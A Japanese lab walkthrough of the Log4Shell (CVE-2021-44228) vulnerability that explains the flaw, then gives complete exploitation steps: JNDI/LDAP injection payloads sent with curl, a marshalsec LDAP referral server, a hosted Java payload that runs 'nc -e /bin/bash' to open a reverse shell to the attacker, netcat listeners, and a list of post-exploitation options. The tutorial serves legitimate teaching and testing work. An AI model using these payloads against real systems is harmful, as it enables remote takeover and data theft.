Log4j の脆弱性は、「Log4Shell」または「CVE-2021-44228」としても知られ、Apache Log4j ライブラリにおける重大なセキュリティ欠陥です。Log4j は広く使われている Java ベースのロギングフレームワークであり、開発者はアプリケーションからのメッセージをファイル、データベース、コンソール出力などのさまざまな宛先に記録できます。

この脆弱性は2021年12月に発見され、その深刻度と悪用の可能性から大きな注目を集めています。影響を受けるのは Log4j 2.x 系で、場合によってはそれ以前のバージョンも影響を受けます。Log4j の脆弱性はリモートコード実行 (RCE) の脆弱性であり、攻撃者がこの欠陥を悪用して標的システム上で任意のコードを実行できることを意味します。この脆弱性は、特別に細工されたデータを含むログメッセージの処理に関連する Log4j ライブラリの設計上の欠陥に起因します。

この脆弱性の悪用は、ログメッセージに悪意のあるコードを注入できることに依存しています。これは、ユーザーが制御する入力フィールド、HTTP リクエストヘッダー、またはログ文に渡されるその他のユーザー指定データなど、さまざまなベクトルを通じて達成できます。

影響を受けるアプリケーションが特別に細工されたデータを含むログメッセージを処理すると、Log4j はそのデータを Java Naming and Directory Interface (JNDI) ルックアップとして解釈します。この動作を悪用することで、攻撃者は攻撃者が制御する悪意のあるサーバーへの JNDI ルックアップをトリガーするペイロードを作成できます。このサーバーは、標的システム上で実行されるペイロードで応答し、攻撃者がリモートコード実行を達成できるようにします。

Log4j の脆弱性の影響は深刻です。Log4j は、Web サーバー、アプリケーション、クラウドサービスなど、さまざまな Java ベースのアプリケーションで広く使用されているためです。この脆弱性により、攻撃者は影響を受けるシステムへの不正アクセスを獲得でき、データ漏洩、システムの侵害、侵害された環境のさらなる悪用につながる可能性があります。

現在、log4j バージョン 2.16.0 が利用可能で、この脆弱性にパッチが適用されています (JNDI は完全に無効化され、Message Lookups のサポートは削除され、新しい DoS 脆弱性 CVE-2021-45046 は存在しません)。(https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

ただし、この脆弱性の危険性は、ロギングパッケージがこれほどまでに広く普及していることに起因します。何百万ものアプリケーションやソフトウェアプロバイダーが、このパッケージを自社コードの依存関係として使用しています。自分自身のコードベースに log4j を使用してパッチを適用できるかもしれませんが、他のベンダーやメーカーは依然として自社のセキュリティ更新を下流にプッシュする必要があります。多くのセキュリティ研究者は、その巨大な攻撃対象領域の性質から、この脆弱性を Shellshock に例えています。この脆弱性は今後何年にもわたって見られることでしょう。

CVE-2021-44228 に対して脆弱なソフトウェアとサービスのコミュニティサポートされたリストが増え続けています。この GitHub リポジトリを確認してください (https://github.com/YfryTchsGD/Log4jAttackSurface)

CVE-2021-44228 に関する記事、ブログ、リソース、学習資料は数多くありますが、私 (この演習の作者) が特に好むものは次のとおりです:

log4j パッケージは、エントリを「解析」することでログに追加ロジックを加え、最終的にデータを豊富にしますが、エントリデータに基づいてアクションを実行したり、コードを評価したりすることもあります。これが CVE-2021-44228 の要点です。他の構文がログファイルに入力されたとおりに実際に実行される可能性もあります。この構文の例をいくつか示します:

${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}

この log4j の脆弱性を悪用する一般的なペイロードはすでにご存じかもしれません。これを利用する通常の構文の形式は次のようになります:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

この構文は、log4j が「JNDI」(「Java Naming and Directory Interface」) の機能を呼び出すことを示しています。最終的には、これを使用して外部リソースや「参照」にアクセスできます。これがこの攻撃で武器化されるものです。

「ldap://」スキーマに注目してください。これは、標的が LDAP プロトコルを介してエンドポイント (この攻撃の場合は攻撃者が制御する場所) に接続することを示しています。簡潔にするために、ここでは LDAP の詳細をすべて説明する必要はありませんが、攻撃を洗練させるにつれてこれを使用する必要があることを理解しておいてください。今のところ、標的が実際に外部の場所への接続を行うことを知っておいてください。これは上記の構文の ATTACKERCONTROLLEDHOST プレースホルダーで示されています。このシナリオで攻撃者として行動するあなたは、この接続を確認するために単純なリスナーをホストできます。

次の質問は、この構文をどこに入力できるかということです。アプリケーションによってログに記録されるデータがある場所ならどこでもです。

これがこの脆弱性の核心です。残念ながら、さまざまなアプリケーションの攻撃対象領域がどこにあるのか、つまりどのアプリケーションが実際に脆弱であるのかを判断するのは非常に困難です。log4j ファイルの存在を確認するだけでは、正確なバージョン番号や、アプリケーションがこのパッケージをどこでどのように使用しているかさえもわかりません。

この JNDI 構文を入力できる他の場所:

入力ボックス、ユーザー名とパスワードのログインフォーム、アプリケーション内のデータ入力ポイント
User-Agent、X-Forwarded-For、その他のカスタマイズ可能なヘッダーなどの HTTP ヘッダー
ユーザー指定データの任意の場所

この JNDI 攻撃ベクトルの詳細については、2016 年の Black Hat USA プレゼンテーションをご確認ください。 https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

脆弱性をテストして接続を受信するために環境を準備するには、次のコマンドで自身の攻撃マシンの IP アドレスを確認します: user@host$ ip addr show
任意のポート (9999 が良い例です) で netcat リスナーを準備します: user@host$ nc -lnvp 9999
リスナーを準備したら、HTTP パラメータの一部としてこの基本的な JNDI ペイロード構文を含むリクエストを行います。これは curl コマンドラインユーティリティで簡単に実行できます。 user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' 構文で $ ドル記号を使用しているため、bash (コマンドラインシェル) が変数として解釈しないように、URL を一重引用符で囲む必要があります。さらに、{ } 中括弧が curl コマンドの引数で誤って解釈されないように、中括弧を円記号 1 つでエスケープする必要があります。
netcat リスナーで次のメッセージが表示され、接続を受信したことを確認します: Connection received from <x.x.x.x>

悪用この時点で、netcat リスナーでキャッチされた接続を確認し、標的が実際に脆弱であることを検証しました。ただし、LDAP リクエストを行ったため、netcat リスナーで見えたのは非表示文字 (奇妙に見えるバイト) だけかもしれません。この基盤を基に、実際の LDAP ハンドラーで応答できるようになりました。

オープンソースの公開ユーティリティを使用して「LDAP Referral Server」をステージングします。これは、被害者の最初のリクエストを別の場所にリダイレクトするために使用され、そこで最終的に標的上でコードを実行する二次ペイロードをホストできます。これは次のように分解されます:

${jndi:ldap://attackerserver:1389/Resource} -> 当社の LDAP Referral Server に接続します
LDAP Referral Server がリクエストを二次的な http://attackerserver/resource に転送します
被害者は http://attackerserver/resource にあるコードを取得して実行します

つまり、HTTP サーバーが必要です。次のいずれかのオプション (ポート 8000 で提供) で簡単にホストできます:

python3 -m http.server
php -S 0.0.0.0:8000 (または、busybox httpd や正式な Web サービスなど、お好みのもの)

しかし、最初の仕事は LDAP Referral Server を取得することです。https://github.com/mbechler/marshalsec で提供されている marshalsec ユーティリティを使用します。

最終的には Java を実行する必要があります。このユーティリティの README を確認すると、Java 8 の使用が推奨されています。(別のバージョンでも成功するかもしれませんが、「ルールに従う」ために、標的マシンで使用されている Java と同じバージョンを使用します)。

Java 8 をローカルにインストールする手順:

攻撃マシンで 1.8.0_181 を実行していない場合は、以下の「update-alternatives --set」手順を確認して、この Java 8 バージョンに切り替えてください。Linux で実行するさまざまな Java バージョンのミラーは、この場所にあります。 http://mirrors.rootpei.com/jdk/

システムがデフォルトでこの Java バージョンを使用するように構成するには、次のコマンドを実行します (ダウンロードファイルシステムのパスは適宜調整してください): コマンド: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # modify the version as needed sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

上記でダウンロード、解凍、および適切なファイルシステム設定 (update-alternatives 構文) を行った後、「java -version」を実行して、実際に Java 1.8.0_181 を実行していることを確認できるはずです。

(https://github.com/mbechler/marshalsec) をクローンし、この新しいフォルダ「marshalsec」にディレクトリを変更します。

Java ビルダー maven で marshalsec をビルドする必要があります。システムに maven がまだない場合は、パッケージマネージャーからインストールできます: コマンド: sudo apt install maven

次に、marshalsec ユーティリティをビルドするコマンドを実行します: コマンド: mvn clean package -DskipTests

marshalsec ユーティリティがビルドされたら、LDAP リファラルサーバーを起動して、接続を二次 HTTP サーバー (すぐに準備します) に転送できます。このツールで構成できる使用法、パラメータ、その他の設定を詳しく調べることは大歓迎です。ただし、デモのために、LDAP サーバーを起動する構文は次のとおりです: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.

LDAP サーバーの準備ができて待機しているので、2 番目のターミナルウィンドウを開いて、最終ペイロードと二次 HTTP サーバーを準備できます。

最終的に、log4j の脆弱性は、Java プログラミング言語で作成した任意のコードを実行します。Java に詳しくない場合でも心配しないでください。システムコマンドの実行に「シェルアウト」するだけの単純な構文を使用します。実際、リバースシェル接続を取得して、標的マシンを制御できるようにします! このペイロードをホストする新しいディレクトリを作成して移動します。まず、任意のテキストエディタ (mousepad、nano、vim、Sublime Text、VS Code など) で、特定の名前「Exploit.java」(このリポジトリに提供されています) を使用してペイロードを作成します。攻撃者の IP アドレスとポート番号を適宜変更してください。

このペイロードでは、標的上でコマンドを実行し、具体的には nc -e /bin/bash を実行して攻撃者マシンにコールバックすることを確認できます。ただし、他のペイロードを試してみることも大歓迎です。

「javac Exploit.java」でペイロードをコンパイルし、「ls」コマンドを実行して新しく作成された「Exploit.class」を見つけて成功を確認します。ペイロードを作成してコンパイルしたら、一時的な HTTP サーバーを起動してホストできます。 user@host:~/ python3 -m http.server

ペイロードが作成されコンパイルされ、1 つのターミナルで HTTP サーバーによってホストされ、別のターミナルで LDAP リファラルサーバーが起動して待機しています。次に、さらに別の新しいターミナルウィンドウでリバースシェルをキャッチするための netcat リスナーを準備します: user@host$ nc -lnvp 9999

最後に、残っているのはエクスプロイトをトリガーして JNDI 構文を発火させることだけです! ポート番号 (現在は LDAP サーバーを参照) と、取得するリソース (エクスプロイトを指定) の変更に注意してください (攻撃者の IP アドレスは適宜変更してください): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

これで、初期アクセスとコマンドアンドコントロールを取得しました。この時点で、脅威アクターは被害者に対して現実的に何でも実行できます。特権昇格、データ流出、永続化のインストール、横移動、その他の post-exploitation など、暗号通貨マイナー、リモートアクセス型トロイの木馬、ビーコン、インプラントをドロップしたり、ランサムウェアを展開したりする可能性もあります。

永続化被害者マシンでリバースシェル接続を取得したので、好きなアクションを続行できます。この log4j の脆弱性をよりよく理解するために、「より良いアクセス」を自分に許可して、マシンを探索し、影響を受けるログを分析し、脆弱性を緩和することもできます!

Log4j_CVE-2021-44228

人気